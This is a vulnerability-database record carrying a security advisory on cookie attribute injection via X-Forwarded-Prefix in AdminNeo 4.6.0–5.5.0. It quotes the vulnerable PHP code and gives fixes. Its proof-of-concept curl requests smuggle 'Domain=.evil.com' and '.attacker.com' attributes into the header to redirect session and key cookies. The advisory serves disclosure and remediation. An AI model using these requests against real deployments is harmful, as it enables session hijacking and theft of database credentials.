{"id":"GHSA-79wv-8rh2-9vp2","aliases":["CVE-2026-96631"],"title":"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\n\nAdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.\n\nThis allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.\n\nOriginally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h\n\n### Vulnerable Code\n\n**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**\n(`admin/include/bootstrap.inc.php`, lines 50–52):\n\n```php\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n\t$_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\nThe client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).\n\n**Root cause 2 - Manual `Set-Cookie `header construction without escaping**\n(`admin/include/functions.inc.php`, lines 416–424):\n\n```php\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nThe tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.\n\n**Root cause 3 - Session cookie also tainted**\n(`admin/include/bootstrap.inc.php`, line 61):\n\n```php\nsession_set_cookie_params(0, preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"]), \"\", HTTPS, true);\n```\n\nThe PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.\n\n### Impact\n\n- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.\n- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.\n- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.\n- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.\n\n### Affected Cookies\n\n|**Cookie**|**Content**|**Risk**|\n|`neo_sid`|PHP session ID|Session hijacking|\n|`neo_key`|Encryption key for stored DB passwords|Credential theft|\n|`neo_settings`|User preferences|Low (information disclosure)|\n\n### Proof of Concept\n\n```shell\n# Normal request with clean Set-Cookie headerss:\ncurl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax\n\n# Malicious request — inject Domain=.evil.com:\ncurl -sI -H \"X-Forwarded-Prefix: /adminneo; Domain=.evil.com\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax\n#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED\n\n# Full attribute override - inject Domain + SameSite=None:\ncurl -sI -H \"X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...\n```\n\n### Recommended Fix\n\n1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.\n2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header(\"Set-Cookie: ...\")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.\n3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).\n\n```php\n// Example fix for bootstrap.inc.php:\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n    $prefix = preg_replace('~[;\\r\\n].*~', '', $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]);\n    $_SERVER[\"REQUEST_URI\"] = $prefix . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\n### Server Based Workaround Via Config\n\nConfigure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:\n\n```nginx\n# nginx — secure configuration:\nfastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix\n```\n\n```yaml\n# Traefik, use middleware instead of client headers:\nmiddlewares:\n  strip-prefix:\n    stripPrefix:\n      prefixes:\n        - \"/adminneo\"\n```","severity":"high","score":8.2,"published":"2026-10-30T22:52:47.000Z","modified":"2026-10-30T23:00:04.344Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","sources":[{"name":"OSV · GHSA-79wv-8rh2-9vp2","url":"https://osv.dev/vulnerability/GHSA-79wv-8rh2-9vp2"}],"ranges":[{"events":[{"introduced":"4.6.0"},{"fixed":"5.5.1"}],"type":"ECOSYSTEM"}],"versions":["v4.10.0","v4.11.0","v4.12.0","v4.13.0","v4.14.0","v4.15.0","v4.16.0","v4.16.1","v4.17.0","v4.17.1","v4.17.2","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.7.9","v4.8.0","v4.8.1","v4.8.2","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v5.0.0","v5.0.0-rc","v5.1.0","v5.1.1","v5.2.0","v5.2.1","v5.3.0","v5.4.0","v5.4.1","v5.5.0"],"fixed":["5.5.1"]}],"sourceAffected":[],"references":["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2","https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64","https://github.com/adminneo-org/adminneo","https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"],"sources":[{"name":"OSV","id":"GHSA-79wv-8rh2-9vp2","modified":"2026-10-30T23:00:04.344149802Z","url":"https://osv.dev/vulnerability/GHSA-79wv-8rh2-9vp2"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","score":8.2}],"products":[],"remediation":[],"observedAt":"2026-10-30T23:33:25.223Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T07:55:30.864Z"},"coverage":[{"source":"NVD","status":"no-result","checkedAt":"2026-10-30T23:45:32.991Z","attemptedAt":"2026-10-30T23:45:32.991Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T23:45:33.802Z","attemptedAt":"2026-10-30T23:45:33.802Z"},{"source":"EUVD","status":"no-result","checkedAt":"2026-10-30T23:45:32.275Z","attemptedAt":"2026-10-30T23:45:32.275Z"},{"source":"EPSS","status":"no-result","checkedAt":"2026-10-30T23:45:32.955Z","attemptedAt":"2026-10-30T23:45:32.955Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-79wv-8rh2-9vp2","url":"https://github.com/advisories/GHSA-79wv-8rh2-9vp2","modified":"2026-10-30T22:52:48Z","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","checkedAt":"2026-10-30T23:45:33.802Z"}],"aiSummary":null}